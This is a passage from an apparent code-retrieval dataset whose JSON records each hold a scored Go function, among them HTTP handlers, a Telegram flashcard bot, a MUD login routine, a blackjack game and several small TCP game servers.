\"</tr>\\n\")\n\n\t//dropped catches\n\tfmt.Fprintf(w, \"<tr>\\n\")\n\n\tfmt.Fprintf(w, \"<td>\\n\")\n\tfmt.Fprintf(w, \"%s\\n\", i1dc)\n\tfmt.Fprintf(w, \"</td>\\n\")\n\tfmt.Fprintf(w, \"<td>\\n\")\n\tfmt.Fprintf(w, \"%s\\n\", i2dc)\n\tfmt.Fprintf(w, \"</td>\\n\")\n\n\tfmt.Fprintf(w, \"</tr>\\n\")\n\n\tfmt.Fprintf(w, \"</table>\")\n\n\tfmt.Fprintf(w, \"</body>\\n\")\n\tfmt.Fprintf(w, \"</html>\\n\")\n\tw.Flush()\n}", "title": "" }, { "docid": "34928dfeeee82f621f54860b7448cebc", "score": "0.4844906", "text": "func MainPage(w http.ResponseWriter, r *http.Request) {\n\n\tio.WriteString(w, \"We running!\")\n\n\t/*flusher, _ := w.(http.Flusher)\n\n\trdata := requestData{}\n\twdata := responseData{}\n\tjson.NewDecoder(r.Body).Decode(&rdata)\n\tr.Body.Close()\n\n\tif rdata.Method == \"\" {\n\t\t// Request from browser.\n\t\tio.WriteString(w, \"We working!\")\n\t} else if rdata.Method == \"stop\" {\n\t\t// Request method \"stop\".\n\t\twdata.Response = \"OK, we closed.\"\n\t\tjson.NewEncoder(w).Encode(wdata)\n\t\tflusher.Flush()\n\t\tos.Exit(0)\n\t} else {\n\t\t// Unknown method.\n\t\twdata.Response = \"Unknown method: \" + rdata.Method + \". We running.\"\n\t\tjson.NewEncoder(w).Encode(wdata)\n\t}*/\n\n}", "title": "" }, { "docid": "14f4e062d18f894e5143388e0086fb4f", "score": "0.48424077", "text": "func main() {\n\terr := godotenv.Load()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\t// index = -1\n\t// resultfile, err := os.Create(\"result.txt\")\n\t// check(err)\n\n\ttotal = 0\n\tturn = 0\n\trandomtime = 10\n\ttowait = 10\n\tmintime = 0\n\t// written = false\n\t// create genesis block\n\tt := time.Now()\n\tgenesisBlock := Block{}\n\tgenesisBlock = Block{0, t.String(), \"\", calculateBlockHash(genesisBlock), \"\", \"\", \"\", \"\", []string{}}\n\tspew.Dump(genesisBlock)\n\tBlockchain = append(Blockchain, genesisBlock)\n\n\thttpPort := os.Getenv(\"PORT\")\n\n\t// start TCP and serve TCP server\n\tserver, err := net.Listen(\"tcp\", \":\"+httpPort)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tlog.Println(\"HTTP Server Listening on port :\", httpPort)\n\tdefer server.Close()\n\n\tgo func() {\n\t\tfor candidate := range candidateBlocks {\n\t\t\tmutex.Lock()\n\t\t\ttempBlocks = append(tempBlocks, candidate)\n\t\t\tmutex.Unlock()\n\t\t}\n\t}()\n\n\tgo func() {\n\t\tfor {\n\t\t\tpickWinner()\n\t\t\tif (turn+1)%50 == 0 {\n\t\t\t\tmintime = randomtime\n\t\t\t\trandomtime = randomtime * 2\n\t\t\t}\n\t\t}\n\t}()\n\n\tfor {\n\t\tconn, err := server.Accept()\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tgo handleConn(conn)\n\t}\n}", "title": "" }, { "docid": "4daf72e369541162a4694e0f44ae21e2", "score": "0.48202175", "text": "func main() {\n\t/*\n\tJohn's IP Address: 169.229.50.175\n\tJohn's Port: 6421\n\tAshwarya's IP Address: 169.229.50.188\n\tAshwarya'as IP Address: 8333\n\t*/\n\n\t//Parameters\n\tgameMode := flag.String(\"gameMode\", \"Player\", \"Enter Player or CPU\")\n\tport := flag.Int(\"port\", 64218333, \"6421 (John) or 8333 (Ashwarya)\")\n\tipAddress := flag.String(\"IPAddress\", \"\", \"169.229.50.175 (John) or 169.229.50.188 (Ashwarya)\")\n\tplayer := flag.String(\"player\", \"temp\", \"Please indicate whether you are a Client or Server\")\n\topponent := flag.String(\"opponent\", \"temp\", \"Is your opponent a Client or Server?\")\n\n\tflag.Parse()\n\n\t//Logic for calling client/server\n\tif *player != \"\" && *gameMode != \"\" && *opponent != \"\" {\n\t\tif *gameMode == \"Player\" { //Person opponent\n\t\t\tif *player == \"server\" {\n\t\t\t\tfmt.Println(\"Starting Server in Interactive Mode\")\n\t\t\t\tserver(*port) //Ash's Port\n\t\t\t} else if *player == \"client\" {\n\t\t\t\tfmt.Println(\"Starting Client in Interactive Mode\")\n\t\t\t\tclient(*ipAddress, *port) //Ash's IP Address + Port\n\t\t\t}\n\t\t} else if *gameMode == \"CPU\" { //CPU opponent\n\t\t\tif *player == \"server\" {\n\t\t\t\tfmt.Println(\"Starting Server in Automatic Mode\")\n\t\t\t\tserver(*port) //John's Port\n\t\t\t} else if *player == \"client\" {\n\t\t\t\tfmt.Println(\"Starting Client in Automatic Mode\")\n\t\t\t\tclient(*ipAddress, *port) //John's IP Address + Port\n\t\t\t}\n\t\t}\n\t} else { //Error Message\n\t\tfmt.Println(\"Please answer all fields for the game to begin correctly\")\n\t\treturn\n\t}\n}", "title": "" }, { "docid": "8e7bf3531041d7ee53725a85fe38fa6d", "score": "0.4804396", "text": "func (b *Bot) Run() {\n\n\tgo b.HandleOutput()\n\tgo b.InputKiller()\n\tb.SetReminders()\n\n\tb.api.Handle(\"/version\", func(m *tba.Message) {\n\t\tb.Output <- Msg{chatid(m.Chat.ID), \"version 0.4.0\"}\n\t})\n\n\tb.api.Handle(\"/help\", func(m *tba.Message) {\n\t\tgo b.Help(chatid(m.Chat.ID))\n\t})\n\n\t//single line commands don't stop routines\n\tb.api.Handle(\"/fiszka\", func(m *tba.Message) {\n\t\tb.DisplayFlashcard(m)\n\t})\n\n\tb.api.Handle(\"/dodajfiszke\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\t//TODO: make it without sleep\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.AddFlashcard(chatID)\n\t})\n\n\tb.api.Handle(\"/usunfiszke\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.DeleteFlashcard(chatID)\n\t})\n\n\tb.api.Handle(\"/edytujfiszke\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.EditFlashcard(chatID)\n\t})\n\n\tb.api.Handle(\"/test\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.KnowledgeTest(chatID)\n\t})\n\n\tb.api.Handle(\"/dodajprzypomnienie\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.AddReminder(chatID)\n\t})\n\n\tb.api.Handle(\"/pokazprzypomnienia\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\n\t\tgo b.ShowReminders(chatID)\n\t})\n\n\tb.api.Handle(\"/dodajzajecia\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.AddClass(chatID)\n\t})\n\n\tb.api.Handle(\"/edytujzajecia\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.EditClass(chatID)\n\t})\n\n\tb.api.Handle(\"/usunzajecia\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.DeleteClass(chatID)\n\t})\n\n\tb.api.Handle(\"/usunplan\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\t\tif _, ok := b.Input[chatID]; ok {\n\t\t\tb.Input[chatID] <- \"\"\n\t\t\ttime.Sleep(2 * time.Second)\n\t\t}\n\t\tb.Input[chatID] = make(chan string)\n\t\tgo b.DeleteSchedule(chatID)\n\t})\n\n\tb.api.Handle(\"/plan\", func(m *tba.Message) {\n\t\tchatID := chatid(m.Chat.ID)\n\n\t\tgo b.ShowSchedule(chatID)\n\t})\n\n\tb.api.Handle(tba.OnText, func(m *tba.Message) {\n\t\tif d, ok := b.Input[chatid(m.Chat.ID)]; ok {\n\t\t\td <- m.Text\n\t\t}\n\t})\n\n\tb.api.Start()\n\n}", "title": "" }, { "docid": "fcc986e2f472577e7c759c6dceeece23", "score": "0.48032805", "text": "func WillLukeWin(w http.ResponseWriter, r *http.Request) {\n\tvar d struct {\n\t\tMessage string `json:\"message\"`\n\t\tNumber int `json:\"number\"`\n\t}\n\tif err := json.NewDecoder(r.Body).Decode(&d); err != nil {\n\t\tfmt.Fprint(w, \"Of course he wont, he's terrible at Pokemon!\")\n\t\treturn\n\t}\n\tif d.Message == \"\" {\n\t\tfmt.Fprint(w, \"Of course he wont, he's terrible at Pokemon!\")\n\t\treturn\n\t}\n\tfmt.Fprint(w, html.EscapeString(d.Message))\n}", "title": "" }, { "docid": "537e627f86210419c176bdd1f077b8b6", "score": "0.48018408", "text": "func main() {\n\tsetupMap()\n\tsetPlayerBotConstants()\n\tupdateFreq = 60\n\n\tsetupNewGame()\n\n\tln, _ := net.Listen(\"tcp\", \":8080\")\n\tfmt.Println(\"Listening...\")\n\n\tgo continuousUpdate()\n\tfor {\n\t\tconn, _ := ln.Accept()\n\t\tGameMutex.Lock()\n\t\trunning := GameIsRunning\n\t\tGameMutex.Unlock()\n\t\tif running == false {\n\t\t\tconnections.Mutex.Lock()\n\t\t\tconnections.Conns = append(connections.Conns, conn)\n\t\t\tconnections.Mutex.Unlock()\n\t\t\tgo handleConn(conn)\n\t\t} else {\n\t\t\tconn.Close()\n\t\t}\n\t}\n}", "title": "" }, { "docid": "189efdd07af5aa8375e6c433b08e1e18", "score": "0.47943807", "text": "func PickWinner(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\n\tjson.NewEncoder(w).Encode(\"\")\n\tmsg := &msg_pb.Message{\n\t\tType: msg_pb.MessageType_LOTTERY_REQUEST,\n\t\tRequest: &msg_pb.Message_LotteryRequest{\n\t\t\tLotteryRequest: &msg_pb.LotteryRequest{\n\t\t\t\tType: msg_pb.LotteryRequest_PICK_WINNER,\n\t\t\t},\n\t\t},\n\t}\n\n\tres, err := grpcClient.Process(msg)\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\tjson.NewEncoder(w).Encode(\"\")\n\t\treturn\n\t}\n\tjson.NewEncoder(w).Encode(res)\n}", "title": "" }, { "docid": "c6678ad00cd74f7f6f699ef9f0090d3b", "score": "0.47943452", "text": "func main() {\n\thttp.HandleFunc(\"/\", mainPage)\n\thttp.HandleFunc(\"/exit\", exitApp)\n\n\tport := 5000\n\tconnection := fmt.Sprintf(\"127.0.0.1:%v\", port)\n\turl := fmt.Sprintf(\"http://%v\", connection)\n\tfmt.Printf(\"Going to listen on %v Ctr-c to stop the server.\\n\", url)\n\t// TODO: only open once we know the server was started.\n\tgo func() {\n\t\ttime.Sleep(1000)\n\t\topenBrowser(url)\n\t}()\n\terr := http.ListenAndServe(connection, nil)\n\tif err != nil {\n\t\t//log.Fatal(err)\n\t\tpanic(err)\n\t}\n\tfmt.Println(\"OK\")\n}", "title": "" }, { "docid": "5a5633db4771bceebe80f599dc74d52d", "score": "0.47877127", "text": "func Run() {\n\tacceptedT := []string{\"Germany\", \"England\", \"France\", \"Spain\", \"Manchester Utd\", \"Arsenal\", \"Chelsea\", \"Barcelona\", \"Real Madrid\", \"FC Bayern Munich\"}\n\tri := RetiveInfo{\n\t\tURL: url,\n\t\tMaxID: uint(MaxUint),\n\t\tTeamList: acceptedT,\n\t\tRemoveDup: true,\n\t\tSorting: true}\n\tplayers := ri.FindPlayers()\n\tplayers.FormatOutPut()\n}", "title": "" }, { "docid": "db825d5acd6c038d75f4553f41d33b15", "score": "0.47854578", "text": "func nanny(conn *server.Connection, input string) {\n\tch := conn.Character\n\n\tswitch conn.Connected {\n\tcase constants.GetName:\n\t\tif len(input) <= 0 {\n\t\t\tconn.Conn.Close()\n\t\t\treturn\n\t\t}\n\n\t\tif !checkName(input) {\n\t\t\tconn.Write(\"Illegal name, try another.%s\\rName: \", constants.EOL)\n\t\t\treturn\n\t\t}\n\n\t\tconn.LoadChar(input)\n\t\tch = conn.Character\n\n\t\tif ch.Banned {\n\t\t\tconn.Write(\"Access denied.%s\", constants.EOL)\n\t\t\tconn.Conn.Close()\n\t\t\treturn\n\t\t}\n\n\t\tif world.Wizlocked {\n\t\t\tconn.Write(\"The game is wizlocked.%s\", constants.EOL)\n\t\t\tconn.Conn.Close()\n\t\t\treturn\n\t\t}\n\n\t\tif ch.Exists {\n\t\t\t// ask for password\n\t\t\tconn.Write(\"Password: %s\", constants.EchoOff)\n\t\t\tconn.Connected = constants.GetOldPassword\n\t\t} else {\n\t\t\t// new player\n\t\t\tconn.Write(\"Did I get that right, %s? (Y/N) \", input)\n\t\t\tconn.Connected = constants.ConfirmNewName\n\t\t}\n\n\tcase constants.GetOldPassword:\n\t\tif input != ch.PCData.Password {\n\t\t\tconn.Write(\"Wrong password.%s\", constants.EOL)\n\t\t\tconn.Conn.Close()\n\t\t\treturn\n\t\t}\n\n\t\t// check to see if currently playing\n\t\tif 1 == 2 {\n\t\t\tconn.Write(\"Already playing!%s\", constants.EOL)\n\t\t\tconn.Conn.Close()\n\t\t\treturn\n\t\t}\n\n\t\tconn.Write(\"%s\", constants.EchoOn)\n\t\tlog.Printf(\"%s has connected.%s\", ch.Name, constants.EOL)\n\t\t// show MOTD\n\t\tconn.Connected = constants.ReadMOTD\n\n\tcase constants.ConfirmNewName:\n\t\tswitch strings.ToLower(input) {\n\t\tcase \"y\":\n\t\t\tconn.Write(\"New character.%s\", constants.EOL)\n\t\t\tconn.Write(\"Give me a password for %s: %s\", ch.Name, constants.EchoOff)\n\t\t\tconn.Connected = constants.GetNewPassword\n\t\tcase \"n\":\n\t\t\tconn.Write(\"Ok, what IS it then? \")\n\t\t\tconn.Character = nil\n\t\t\tconn.Connected = constants.GetName\n\t\tdefault:\n\t\t\tconn.Write(\"Please write Y or N.%s\", constants.EOL)\n\t\t}\n\n\tcase constants.GetNewPassword:\n\t\tif len(input) < 5 {\n\t\t\tconn.Write(\"Password must be at least five characters long.%s\", constants.EOL)\n\t\t\tconn.Write(\"Password: %s\", constants.EchoOff)\n\t\t\treturn\n\t\t}\n\n\t\tpwd, err := crypt(input)\n\t\tif err != nil {\n\t\t\tconn.Write(\"New password not acceptable. Try again.%s\", constants.EOL)\n\t\t\tconn.Write(\"Password: %s\", constants.EchoOff)\n\t\t}\n\n\t\tch.PCData.Password = pwd\n\t\tconn.Write(constants.EOL)\n\t\tconn.Write(\"Please retype password: %s\", constants.EchoOff)\n\t\tconn.Connected = constants.ConfirmNewPassword\n\n\tcase constants.ConfirmNewPassword:\n\t\tnewPwd, err := crypt(input)\n\t\tif err != nil || newPwd != ch.PCData.Password {\n\t\t\tconn.Write(constants.EOL)\n\t\t\tconn.Write(\"Passwords don't match.%s\", constants.EOL)\n\t\t\tconn.Write(\"Password: %s\", constants.EchoOff)\n\t\t\tconn.Connected = constants.GetNewPassword\n\t\t\treturn\n\t\t}\n\n\t\tconn.Write(constants.EOL)\n\t\tconn.Write(\"What is your sex? (M/F/N) \")\n\t\tconn.Connected = constants.GetNewSex\n\n\tcase constants.GetNewSex:\n\t\tswitch strings.ToLower(input) {\n\t\tcase \"m\":\n\t\t\tch.Sex = constants.SexMale\n\t\tcase \"f\":\n\t\t\tch.Sex = constants.SexFemale\n\t\tcase \"n\":\n\t\t\tch.Sex = constants.SexNeutral\n\t\tdefault:\n\t\t\tconn.Write(\"%sThat's not a valid sex.%s\", constants.EOL)\n\t\t\tconn.Write(\"What IS your sex? (M/F/N) \")\n\t\t\treturn\n\t\t}\n\n\t\tconn.Write(constants.EOL)\n\t\tconn.Write(\"Select a class: [\")\n\t\ti := 0\n\t\tfor _, class := range game.Classes {\n\t\t\tif i > 0 {\n\t\t\t\tconn.Write(\" \")\n\t\t\t}\n\t\t\tconn.Write(class.WhoName)\n\t\t\ti++\n\t\t}\n\t\tconn.Write(\"]: \")\n\t\tconn.Connected = constants.GetNewClass\n\n\tcase constants.GetNewClass:\n\t\tfor _, c := range game.Classes {\n\t\t\tif strings.ToLower(input) == c.WhoName {\n\t\t\t\tch.Class = &c\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\tif ch.Class == nil {\n\t\t\tconn.Write(\"That's not a class.%s\", constants.EOL)\n\t\t\tconn.Write(\"What IS your class?\")\n\t\t\treturn\n\t\t}\n\n\t\tlog.Printf(\"%s@%s new player.%s\", ch.Name, conn.Host, constants.EOL)\n\t\tconn.Write(\"%s\", constants.EOL)\n\n\t\tconn.Connected = constants.ReadMOTD\n\n\tcase constants.ReadMOTD:\n\t\tconn.Write(\"%s\", constants.EchoOff)\n\t\tconn.Write(game.MOTD)\n\n\t\tworld.Characters = append(world.Characters, conn.Character)\n\t\tconn.Connected = constants.Playing\n\n\t\tif ch.Level == 0 {\n\t\t\tswitch game.Classes[ch.Class.WhoName].PrimeAttribute {\n\t\t\tcase constants.Strength:\n\t\t\t\tch.PCData.PermanentStrength = 16\n\t\t\tcase constants.Intelligence:\n\t\t\t\tch.PCData.PermanentIntelligence = 16\n\t\t\tcase constants.Wisdom:\n\t\t\t\tch.PCData.PermanentWisdom = 16\n\t\t\tcase constants.Dexterity:\n\t\t\t\tch.PCData.PermanentDexterity = 16\n\t\t\tcase constants.Constitution:\n\t\t\t\tch.PCData.PermanentConstitution = 16\n\t\t\t}\n\n\t\t\tch.Level = 1\n\t\t\tch.XP = 1000\n\t\t\tch.Position = constants.PositionStanding\n\n\t\t\tch.Mana = ch.MaxMana\n\t\t\tch.HP = ch.MaxHP\n\t\t\tch.Movement = ch.MaxMovement\n\n\t\t\tch.Title = game.Titles[ch.Class.WhoName][ch.Level][ch.Sex]\n\n\t\t\t// TODO: create objects: banner, vest, shield, class weapon\n\t\t\t// TODO: wear wield\n\t\t\t// TODO: move to school\n\t\t\tch.ToRoom(world.Rooms[constants.VnumRoomSchool])\n\t\t} else if ch.InRoom != nil {\n\t\t\tch.ToRoom(ch.InRoom)\n\t\t} else {\n\t\t\tch.ToRoom(world.Rooms[constants.VnumRoomTemple])\n\t\t}\n\n\t\tgame.Notify(\"$n has entered the game.\", ch, constants.ActToRoom, game.ActOptions{})\n\t\tch.Interpret(\"look\")\n\t}\n}", "title": "" }, { "docid": "444eaadf5eda504013b07dad6e0a2a3b", "score": "0.475051", "text": "func main() {\n\n\tcards := initCard()\n\tcards = shuffleCard(cards)\n\n\tvar player = make([]string, 2)\n\tvar dealer = make([]string, 2)\n\tplayer = []string{cards[1], cards[3]}\n\tdealer = []string{cards[0], cards[2]}\n\n\tfapai := 4\n\n\tuser_decision := 1\n\tdealer_decision := 1\n\n\tfmt.Print(\"Do you want to play? yes or no\")\n\tinputReader = bufio.NewReader(os.Stdin)\n\tchoice, err = inputReader.ReadString('\\n')\n\tif err != nil {\n\t\tfmt.Println(\"There were errors reading, exiting program.\")\n\t\treturn\n\t} else if choice == \"yes\\n\" {\n\n\t\t//\"beat the dealer situation 1\" Blackjack\n\t\tif count(dealer) == 21 {\n\t\t\tuser_decision = 0\n\t\t\tdealer_decision = 0\n\t\t\tfmt.Println(\"You lose. Dealer got BlackJack.\", dealer)\n\t\t} else if count(player) == 21 {\n\t\t\tuser_decision = 0\n\t\t\tdealer_decision = 0\n\t\t\tfmt.Println(\"You win! You got BlackJack.\", player)\n\t\t}\n\t\t//decision of user and dealing the cards to continue the game\n\t\tfor user_decision == 1 || dealer_decision == 1 {\n\n\t\t\tif user_decision == 1 {\n\t\t\t\tfmt.Println(\"------------ New Round ------------\")\n\t\t\t\tfmt.Println(\"dealer's cards: \", dealer, \"your cards: \", player)\n\n\t\t\t\tif len(player) == 2 {\n\t\t\t\t\tfmt.Println(\"One more card? 1. yes; 2. no; 3. surrender.\")\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Println(\"One more card? 1. yes; 2. no.\")\n\t\t\t\t}\n\n\t\t\t\treenter := 1\n\n\t\t\t\tfor reenter == 1 {\n\n\t\t\t\t\tinputReader = bufio.NewReader(os.Stdin)\n\t\t\t\t\tinput, err = inputReader.ReadString('\\n')\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tfmt.Println(\"There were errors reading, exiting program.\")\n\t\t\t\t\t\treturn\n\t\t\t\t\t}\n\t\t\t\t\tswitch input {\n\t\t\t\t\tcase \"1\\n\":\n\t\t\t\t\t\tfmt.Println(\"You will get one more card.\")\n\t\t\t\t\t\tuser_decision = 1\n\t\t\t\t\t\treenter = 0\n\t\t\t\t\tcase \"2\\n\":\n\t\t\t\t\t\tfmt.Println(\"Keep your current cards.\")\n\t\t\t\t\t\tuser_decision = 2\n\t\t\t\t\t\treenter = 0\n\t\t\t\t\tcase \"3\\n\":\n\t\t\t\t\t\tif len(player) == 2 {\n\t\t\t\t\t\t\tuser_decision = 3\n\t\t\t\t\t\t\treenter = 0\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tfmt.Printf(\"Read error. Please re-enter.\")\n\t\t\t\t\t\t}\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tfmt.Printf(\"Read error. Please re-enter.\")\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\tif user_decision == 1 {\n\t\t\t\tplayer = append(player, cards[fapai])\n\t\t\t\tfapai += 1\n\t\t\t}\n\n\t\t\t// generate dealer's decision automatically\n\t\t\tif dealer_decision == 1 {\n\n\t\t\t\tdealer_decision = dealer_decision_func(dealer, player)\n\n\t\t\t}\n\n\t\t\tif dealer_decision == 1 {\n\n\t\t\t\tdealer = append(dealer, cards[fapai])\n\t\t\t\tfapai += 1\n\n\t\t\t}\n\n\t\t}\n\n\t\t//final result judgement for the game\n\t\tif user_decision != 0 && dealer_decision != 0 {\n\t\t\tfmt.Println(\"************* Game Result *************\")\n\t\t\tif user_decision == 3 {\n\t\t\t\tfmt.Println(\"You surrender.\")\n\t\t\t} else if count(player) <= 21 && count(dealer) < count(player) {\n\t\t\t\tfmt.Println(\"dealer's cards: \", dealer, \"your cards: \", player)\n\t\t\t\tfmt.Println(\"You win!\")\n\t\t\t} else if count(dealer) > 21 && count(player) <= 21 {\n\t\t\t\tfmt.Println(\"dealer's cards: \", dealer, \"your cards: \", player)\n\t\t\t\tfmt.Println(\"You win!\")\n\t\t\t} else {\n\t\t\t\tfmt.Println(\"dealer's cards: \", dealer, \"your cards: \", player)\n\t\t\t\tfmt.Println(\"You didn't win.\")\n\t\t\t}\n\n\t\t}\n\t} else if choice == \"no\\n\" {\n\t\tos.Exit(3)\n\t}\n\n}", "title": "" }, { "docid": "477eb25b80d1d8e3a2e36259b4dba7fd", "score": "0.4750132", "text": "func main() {\n\tli, err := net.Listen(\"tcp\", \":8080\")\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\tdefer li.Close()\n\n\tfor {\n\t\tconn, err := li.Accept()\n\t\tif err != nil {\n\t\t\tlog.Fatalln(err)\n\t\t\tcontinue\n\t\t}\n\t\tdefer conn.Close()\n\n\t\tfmt.Fprintln(conn, \"\\nHave you got something to say?\")\n\n\t\ts := bufio.NewScanner(conn)\n\t\tfor s.Scan() {\n\t\t\tln := s.Text()\n\t\t\tfmt.Fprintf(conn, \"You said: %s\\n\", ln)\n\t\t}\n\t}\n}", "title": "" }, { "docid": "efb7abc51d576f7893863725d560706e", "score": "0.47481123", "text": "func main() {\n\n\tvar lem lander.Lander\n\tvar response string\n\tfromStdin := bufio.NewReader(os.Stdin)\n\n\tparseArgs(&lem)\n\n\tintro()\n\tfor {\n\t\trunGame(lem, fromStdin)\n\t\tresponse = getInput(fromStdin, \"\\nTRY AGAIN?? \")\n\t\tresponse = strings.ToLower(strings.TrimSpace(response))\n\t\tif !strings.HasPrefix(response, \"y\") {\n\t\t\tbreak\n\t\t}\n\t}\n}", "title": "" }, { "docid": "ee9cfbb165e1ad45ed3a08eeedf7bc50", "score": "0.474771", "text": "func main() {\n\tr := gin.Default()\n\n\t// Ping test\n\t// r.GET(\"/ping\", func(c *gin.Context) {\n\t// \tc.String(200, \"pong\")\n\t// })\n\n\t// // Get user value\n\t// r.GET(\"/user/:name\", func(c *gin.Context) {\n\t// \tuser := c.Params.ByName(\"name\")\n\t// \tvalue, ok := DB[user]\n\t// \tif ok {\n\t// \t\tc.JSON(200, gin.H{\"user\": user, \"value\": value})\n\t// \t} else {\n\t// \t\tc.JSON(200, gin.H{\"user\": user, \"status\": \"no value\"})\n\t// \t}\n\t// })\n\n\tr.POST(\"/invite\", service.InviteGame)\n\tr.POST(\"/start\", service.StartGame)\n\t// r.POST(\"/turn\", gameShot)\n\t// r.POST(\"/notify\", gameNotify)\n\n\t// Listen and Server in 0.0.0.0:8080\n\tr.Run(\":8080\")\n}", "title": "" }, { "docid": "b4555ea8c714562693059ff8153747a1", "score": "0.47414377", "text": "func promptUser() {\n\tfor {\n\t\tfmt.Print(\">\")\n\t\treader := bufio.NewReader(os.Stdin)\n\t\ttext, _ := reader.ReadString('\\n')\n\t\ttext = strings.TrimSuffix(text, \"\\n\")\n\t\ttext = strings.TrimSuffix(text, \"\\r\")\n\t\tif gameInstance.Me.AmIDead() {\n\t\t\tgamemaster.Error(\"You are dead\")\n\t\t\treturn\n\t\t}\n\t\tif text != \"\" {\n\t\t\tif text[0] == '!' {\n\t\t\t\tif len(text) > 6 && text[1:5] == \"vote\" {\n\t\t\t\t\ttarget := text[6:]\n\n\t\t\t\t\t//check the ip address validity\n\t\t\t\t\tif _, ok := gameInstance.AlivePlayers[target]; !ok {\n\t\t\t\t\t\tgamemaster.Error(\"Invalid target\")\n\t\t\t\t\t\tcontinue\n\t\t\t\t\t}\n\t\t\t\t\tif gameInstance.Me.CanVote() {\n\t\t\t\t\t\tsendVote(target)\n\t\t\t\t\t} else {\n\t\t\t\t\t\tgamemaster.Error(\"You are not allowed to vote right now\")\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tif gameInstance.FSM.Is(werewolfgame.DAY_VOTE_STATE) {\n\t\t\t\t\tsendChatMessage(text)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "8d427f53d0b3dedcac65e31abcad9a93", "score": "0.4738491", "text": "func Play() {\n\tscanner := bufio.NewScanner(os.Stdin)\n\tmechwarrior :=\n\t\t`\n\t\t _ __ __ _ \n\t /\\/\\ ___ ___| |__/ / /\\ \\ \\__ _ _ __ _ __(_) ___ _ __ \n\t / \\ / _ \\/ __| '_ \\ \\/ \\/ / _ | '__| '__| |/ _ \\| '__|\n\t/ /\\/\\ \\ __/ (__| | | \\ /\\ / (_| | | | | | | (_) | | \n\t\\/ \\/\\___|\\___|_| |_|\\/ \\/ \\__,_|_| |_| |_|\\___/|_| \n\t`\n\tfmt.Println(mechwarrior)\n\tfmt.Println(\"Welcome to MechWarrior, Press Enter to begin.\")\n\tresponse := SingleSelectPrompt([]string{\"Begin Game\"}, \"Press Enter\")\n\n\tif response == \"Begin Game\" {\n\n\t\tif mainPlayer.Name == \"\" {\n\t\t\tmainPlayer.SetName()\n\t\t} else {\n\t\t\tfmt.Println(\"\\nYou have already set your name,\", mainPlayer.Name)\n\t\t}\n\n\t\tfor scanner.Scan() {\n\t\t\tReadInput(scanner.Text())\n\t\t}\n\t}\n\n}", "title": "" }, { "docid": "07b577a287f16626fc3f2278a678d062", "score": "0.4737447", "text": "func main() {\n\tinChan := make(chan string, 40)\n\toutChan := make(chan string, 1)\n\tquitChan := make(chan string, 1)\n\n\tprompt := \"\"\n\n\tcomputer := intcode.NewIntCodeComputer(getProgram(\"program.txt\"), inChan, outChan, quitChan, true, &prompt)\n\n\tpromptChan := computer.GetPromptChannel()\n\n\t//computer.Load(\"./game.json\")\n\n\tgo computer.Execute()\n\n\ttty, err := tty.Open()\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer tty.Close()\n\n\toutTTY := tty.Output()\n\n\tvar bot *game.Game\n\tbot = game.NewGame([]string{\"infinite loop\",\"giant electromagnet\",\"molten lava\",\"escape pod\",\"photons\"}, \"Security Checkpoint\")\n\n\tinputQueue := make([]byte, 0, 1024)\n\nprogramLoop:\n\tfor {\n\t\tselect {\n\t\tcase <-promptChan:\n\t\t\tvar r rune\n\t\t\tvar err 